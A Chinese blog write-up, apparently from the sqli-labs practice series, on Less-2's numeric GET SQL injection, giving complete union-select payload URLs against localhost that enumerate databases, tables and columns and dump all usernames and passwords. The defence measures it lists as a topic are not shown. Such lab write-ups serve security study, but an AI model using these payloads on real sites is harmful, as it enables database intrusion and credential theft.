sqli-lbs-2 GET - Error based - Intiger based (基于错误的GET整型注入)

知识点:1,判断是数字型还是字符型,单引号还是双引号
2,union select联合查询注入
3,payload原理与防御措施

这道题与上道题的主要区别就是这个是整型,即这个题的id参数没有引号,只是数字,这意味着在你绕过的时候可以不需要对后面的引号过滤(如果没有其他干扰的话)
大概步骤:1.输入?id=2-1页面信息发生变化,说明此处是数值型注入
2.order by 3 页面显示正常,order by 4页面显示不正常,所以该表有3列数据
3.接着可以使用联合查询进行注入,详细过程参考第一关

接下来进行操作: 输入 ?id=2-1
在这里插入图片描述接下来进行回显操作,先 order by 3 再 order by 4
在这里插入图片描述在这里插入图片描述输入4时错误,所以判断只有三列数据,判断完后我们就可以进行联合查询了,操作同第一关:
http://localhost/Less-2/?id=666 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
在这里插入图片描述http://localhost/Less-2/?id=666 union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema=‘security’)–+
在这里插入图片描述
http://localhost/Less-2/?id=666 union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(column_name) from information_schema.columns where table_name=‘users’)–+
在这里插入图片描述http://localhost/Less-2/?id=666 union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(username) from security.users)–+
在这里插入图片描述
http://localhost/Less-2/?id=666 union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(password) from security.users)–+

在这里插入图片描述至此,所有的用户名和密码就都出来啦,嘻嘻🤭。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值